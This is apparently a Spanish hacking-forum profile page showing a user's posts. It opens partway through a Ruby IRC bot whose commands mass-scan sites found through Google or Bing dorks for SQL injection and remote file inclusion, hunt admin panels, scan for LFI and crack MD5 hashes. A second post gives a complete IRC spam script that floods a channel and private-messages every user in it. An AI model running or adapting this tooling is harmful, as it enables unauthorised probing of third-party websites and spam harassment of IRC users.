  487.  
  488.  if control=="1"
  489. resultado = resultado + "\n[+] Done\n"
  490.  else
  491. resultado = resultado + "\n[-] Not Found\n"
  492.  end
  493.  
  494.  return resultado
  495.  
  496. end
  497.  
  498. def sqli_finder(dork,pages,opcion)
  499.  
  500. resultado = ""
  501.  
  502. if opcion=="bing"
  503.  
  504. resultado = resultado + "[+] Searching in Bing ...\n\n"
  505.  
  506. links = cortar(bing(dork,pages))
  507.  
  508. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  509.  
  510. if links.count.to_s=="0"
  511. resultado = resultado + "[-] Links not found\n"
  512. end
  513.  
  514. links.flatten.each do |link|
  515. resultado = resultado + "[+] Link : "+link
  516. begin
  517. url = toma(link + "-1+union+select+1--")
  518. if url=~/The used SELECT statements have a different number of columns/
  519. resultado = resultado + " [OK]\n"
  520. else
  521. resultado = resultado + " [FAIL]\n"
  522. end
  523. rescue
  524. resultado = resultado + " [FAIL]\n"
  525. end
  526. end
  527.  
  528. resultado = resultado + "\n[+] Finished\n"
  529.  
  530. elsif opcion=="google"
  531.  
  532. resultado = resultado + "[+] Searching in Google ...\n\n"
  533.  
  534. links = cortar(google(dork,pages))
  535.  
  536. if links.count.to_s=="0"
  537. resultado = resultado + "[+] Searching in Google again ...\n\n"
  538. links = cortar(google_recursive(dork,pages))
  539. end
  540.  
  541. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  542.  
  543. if links.count.to_s=="0"
  544. resultado = resultado + "[-] Links not found"
  545. end
  546.  
  547. links.flatten.each do |link|
  548. resultado = resultado + "[+] Link : "+link
  549. begin
  550. url = toma(link + "-1+union+select+1--")
  551. if url=~/The used SELECT statements have a different number of columns/
  552. resultado = resultado + " [OK]\n"
  553. else
  554. resultado = resultado + " [FAIL]\n"
  555. end
  556. rescue
  557. resultado = resultado + " [FAIL]\n"
  558. end
  559. end
  560. else
  561. resultado = "[-] Bad Option"
  562. end
  563. return resultado
  564. end
  565.  
  566. def rfi_finder(dork,pages,opcion)
  567.  
  568. resultado = ""
  569.  
  570. if opcion=="bing"
  571.  
  572. resultado = resultado + "[+] Searching in Bing ...\n\n"
  573.  
  574. links = cortar(bing(dork,pages))
  575.  
  576. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  577.  
  578. if links.count.to_s=="0"
  579. resultado = resultado + "[-] Links not found\n"
  580. end
  581.  
  582. links.flatten.each do |link|
  583. resultado = resultado + "[+] Link : "+link
  584. begin
  585. url = toma(link + "http://www.supertangas.com/")
  586. if url=~/Los mejores TANGAS de la red/i
  587. resultado = resultado + " [OK]\n"
  588. else
  589. resultado = resultado + " [FAIL]\n"
  590. end
  591. rescue
  592. resultado = resultado + " [FAIL]\n"
  593. end
  594. end
  595.  
  596. resultado = resultado + "\n[+] Finished\n"
  597.  
  598. elsif opcion=="google"
  599.  
  600. resultado = resultado + "[+] Searching in Google ...\n\n"
  601.  
  602. links = cortar(google(dork,pages))
  603.  
  604. if links.count.to_s=="0"
  605. resultado = resultado + "[+] Searching in Google again ...\n\n"
  606. links = cortar(google_recursive(dork,pages))
  607. end
  608.  
  609. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  610.  
  611. if links.count.to_s=="0"
  612. resultado = resultado + "[-] Links not found"
  613. end
  614.  
  615. links.flatten.each do |link|
  616. resultado = resultado + "[+] Link : "+link
  617. begin
  618. url = toma(link + "http://www.supertangas.com/")
  619. if url=~/Los mejores TANGAS de la red/i
  620. resultado = resultado + " [OK]\n"
  621. else
  622. resultado = resultado + " [FAIL]\n"
  623. end
  624. rescue
  625. resultado = resultado + " [FAIL]\n"
  626. end
  627. end
  628. else
  629. resultado = "[-] Bad Option"
  630. end
  631. return resultado
  632. end
  633.  
  634. #
  635.  
  636. def respuesta(to,texto)
  637. resultado = texto.split("\n")
  638. resultado.flatten.each do |linea|
  639. if linea != ""
  640. $irc.print "PRIVMSG #{to} #{linea}\n"
  641. sleep $timeout.to_i
  642. end
  643. end
  644. end
  645.  
  646. def bot_online(host,port,canal,admin)
  647.  print "\n[+] Connecting ...\n"
  648.  begin
  649.    $irc = TCPSocket.open(host,port)
  650.  rescue
  651.    print "\n[-] Error connecting\n"
  652.  else
  653.    nick = "ClapTrap"
  654.    $irc.print "NICK "+nick+"\r\n"
  655.    $irc.print "USER "+nick+" 1 1 1 1\r\n"
  656.    $irc.print "JOIN #{canal}\r\n"
  657.    print "\n[+] Online\n"
  658.    while 1
  659.      code = $irc.recv(9999)
  660.      if code=~/PING (.*)/
  661.        $irc.print "PONG #{$1}\n"
  662.      end
  663.      if code=~/:(.*)!(.*) PRIVMSG (.*) :(.*)/
  664.      dedonde = $1
  665.      mensaje = $4
  666.      if dedonde==admin
  667.  
  668. if mensaje=~/!sqli (.*)/
  669. arg1 = $1
  670. arg1 = arg1.chomp
  671. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  672. respuesta(admin,scanner_sqli(arg1,"--"))
  673. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  674.       end
  675.       if mensaje=~/!lfi (.*)/
  676. arg1 = $1
  677. arg1 = arg1.chomp
  678. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  679. respuesta(admin,scanner_lfi(arg1))
  680. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  681.       end
  682.       if mensaje=~/!panel(.*)/
  683. arg1 = $1
  684. arg1 = arg1.chomp
  685. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  686. respuesta(admin,scanner_panel(arg1))
  687. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  688.       end
  689.       if mensaje=~/!fuzzdns (.*)/
  690. arg1 = $1
  691. arg1 = arg1.chomp
  692. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  693. respuesta(admin,scanner_dns(arg1))
  694. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  695.       end
  696.       if mensaje=~/!locateip (.*)/
  697. arg1 = $1
  698. arg1 = arg1.chomp
  699. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  700. respuesta(admin, locateip(arg1))
  701. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  702.       end
  703.       if mensaje=~/!sqlifinder (.*) (.*) (.*)/
  704. arg1 = $1
  705. arg2 = $2
  706. arg3 = $3
  707. arg1 = arg1.chomp
  708. arg2 = arg2.chomp
  709. arg3 = arg3.chomp
  710. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  711. respuesta(admin,sqli_finder(arg1,arg2,arg3))
  712. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  713.       end
  714.       if mensaje=~/!rfifinder (.*) (.*) (.*)/
  715. arg1 = $1
  716. arg1 = $2
  717. arg1 = $3
  718. arg1 = arg1.chomp
  719. arg2 = arg2.chomp
  720. arg3 = arg3.chomp
  721. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  722. respuesta(admin,rfi_finder(arg1,arg2,arg3))
  723. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  724.       end
  725.       if mensaje=~/!crackit (.*)/
  726. arg1 = $1
  727. arg1 = arg1.chomp
  728. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  729. respuesta(admin,crack_md5(arg1))
  730. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  731.       end
  732.       if mensaje=~/!tinyurl (.*)/
  733. arg1 = $1
  734. arg1 = arg1.chomp
  735. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  736. respuesta(admin,tiny_url(arg1))
  737. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  738.       end
  739.       if mensaje=~/!httpfinger (.*)/
  740. arg1 = $1
  741. arg1 = arg1.chomp
  742. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  743. respuesta(admin,get_httpfinger(arg1))
  744. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  745.       end
  746.       if mensaje=~/!md5 (.*)/
  747. arg1 = $1
  748. arg1 = arg1.chomp
  749. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  750. respuesta(admin,md5_encode(arg1))
  751. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  752.       end
  753.       if mensaje=~/!base64 (.*) (.*)/
  754. arg1 = $1
  755. arg2 = $2
  756. arg1 = arg1.chomp
  757. arg2 = arg2.chomp
  758. if arg2=="encode"
  759.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  760.  respuesta(admin,codificar_base64(arg1))
  761.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  762.         end
  763. if arg2=="decode"
  764.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  765.  respuesta(admin,decodificar_base64(arg1))
  766.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  767.         end              
  768.       end
  769.  
  770.       if mensaje=~/!hex (.*) (.*)/
  771. arg1 = $1
  772. arg2 = $2
  773. arg1 = arg1.chomp
  774. arg2 = arg2.chomp
  775. if arg2=="encode"
  776.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  777.  respuesta(admin,codificar_hex(arg1))
  778.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  779.         end
  780. if arg2=="decode"
  781.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  782.  respuesta(admin,decodificar_hex(arg1))
  783.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  784.         end              
  785.       end
  786.  
  787.  
  788.       if mensaje=~/!ascii (.*)/
  789. arg1 = $1
  790. arg1 = arg1.chomp
  791. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  792. respuesta(admin,codificar_ascii(arg1))
  793. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  794.       end
  795.       if mensaje=~/!help/
  796. about = ""
  797.        about = about + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2014" + "\n";
  798.                about = about + "[++] Commands" + "\n";
  799.                about = about + "[+] !help" + "\n";
  800. about = about + "[+] !locateip <web>" + "\n";
  801.                about = about + "[+] !sqlifinder <dork> <count pages> <google/bing>" + "\n";
  802.                about = about + "[+] !rfifinder <dork> <count pages> <google/bing>" + "\n";
  803.                about = about + "[+] !panel <page>" + "\n";
  804.                about = about + "[+] !fuzzdns <domain>" + "\n";
  805.                about = about + "[+] !sqli <page>" + "\n";
  806. about = about + "[+] !lfi <page>" + "\n";
  807. about = about + "[+] !crackit <hash>" + "\n";
  808.                about = about + "[+] !tinyurl <page>" + "\n";
  809.                about = about + "[+] !httpfinger <page>" + "\n";
  810.        about = about + "[+] !md5 <text>" + "\n";
  811.                about = about + "[+] !base64 <encode/decode> <text>" + "\n";
  812.                about = about + "[+] !ascii <encode/decode> <text>" + "\n";
  813.                about = about + "[+] !hex <encode/decode> <text>" + "\n";
  814.                about = about + "[++] Enjoy this IRC Bot" + "\n";
  815. respuesta(admin,about)
  816.       end
  817.      end
  818.      end
  819.    end
  820.  end
  821. end
  822.  
  823. head()
  824.  
  825. print "[+] Host : "
  826. host = gets.chomp
  827. print "\n[+] Port : "
  828. port = gets.chomp
  829. print "\n[+] Channel : "
  830. channel = gets.chomp
  831. print "\n[+] Admin : "
  832. admin = gets.chomp
  833.  
  834. bot_online(host,port,channel,admin)
  835.  
  836. copyright()
  837.  
  838. # The End ?
  839.  

Eso es todo.
49  Programación / Scripting / [Ruby] KingSpam 0.4 en: 18 Septiembre 2015, 16:49 pm
Un simple script en Ruby para hacer spam en un canal IRC.

El codigo :

Código
  1. #!usr/bin/ruby
  2. #KingSpam 0.4
  3. #Coded By Doddy H
  4.  
  5. require "socket"
  6.  
  7. $nicks = ["ruben","negro jose","rasputin","juancho"]
  8.  
  9. def head()
  10.  print "\n\n == -- KingSpam 0.4 -- ==\n\n"
  11. end
  12.  
  13. def uso()
  14.  print "\n[+] Sintax : #{$0} <host> <channel> <spam list>\n"
  15. end
  16.  
  17. def copyright()
  18.  print "\n\n(C) Doddy Hackman 2012\n\n"
  19. end
  20.  
  21. def read_file(file)
  22.  array = []
  23.  File.open(file, "r") do |lineas|
  24.    while (linea = lineas.gets)
  25.      array.push(linea)
  26.    end
  27.  end
  28.  return array
  29. end
  30.  
  31. def load(host,canal,spam_list)
  32.  print "\n[+] Connecting ...\n"
  33.  begin
  34.    irc = TCPSocket.open(host,"6667")
  35.  rescue
  36.    print "\n[-] Error\n"
  37.  else
  38.    lineas = read_file(spam_list)
  39.    nick_azar = $nicks[rand($nicks.size)]
  40.    irc.print "NICK "+nick_azar+"\r\n"
  41.    irc.print "USER "+nick_azar+" 1 1 1 1\r\n"
  42.    irc.print "JOIN #{canal}\r\n"
  43.    print "\n[+] Online\n"
  44.    while 1
  45.      code = irc.recv(9999)
  46.      #print code+"\n"
  47.      if code=~/PING (.*)/
  48.        irc.print "PONG #{$1}\n"
  49.      end
  50.      if code=~/:(.*) 353 (.*) = (.*) :(.*)/
  51.      nicks_found = $4
  52.      nicks = nicks_found.split(" ")
  53.      end
  54.  
  55.      print "\n[+] The party started\n\n"
  56.      while 1
  57.        sleep(20) # 1 minute
  58.        texto = lineas[rand(lineas.size)]
  59. print "[+] Spamming channel #{canal}\n"
  60. irc.print "PRIVMSG #{canal} #{texto}\n"
  61.  
  62. nicks.flatten.each do |nick|
  63.  if nick!=nick_azar
  64.    nick = nick.sub("+","")
  65.    nick = nick.sub("@","")
  66.    print "[+] Spam User : "+nick+"\n"
  67.    irc.print "PRIVMSG #{nick} #{texto}\n"
  68.  end
  69. end
  70.      end
  71.    end
  72.  end
  73. end
  74.  
  75. head()
  76.  
  77. host = ARGV[0]
  78. canal = ARGV[1]
  79. spam_list = ARGV[2]
  80.  
  81. if !host and !canal and !spam_list
  82.  uso()
  83. else
  84.  load(host,canal,spam_list)
  85. end
  86.  
  87. copyright()
  88.  
  89. # The End ?
  90.  

Eso es todo.
50  Programación / Scripting / Re: [Ruby] FSD Exploit Manager 0.3 en: 4 Septiembre 2015, 23:42 pm
Aca hice un manual que habla sobre las vulnerabilidades mas comunes y tambien incluye FSD.
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines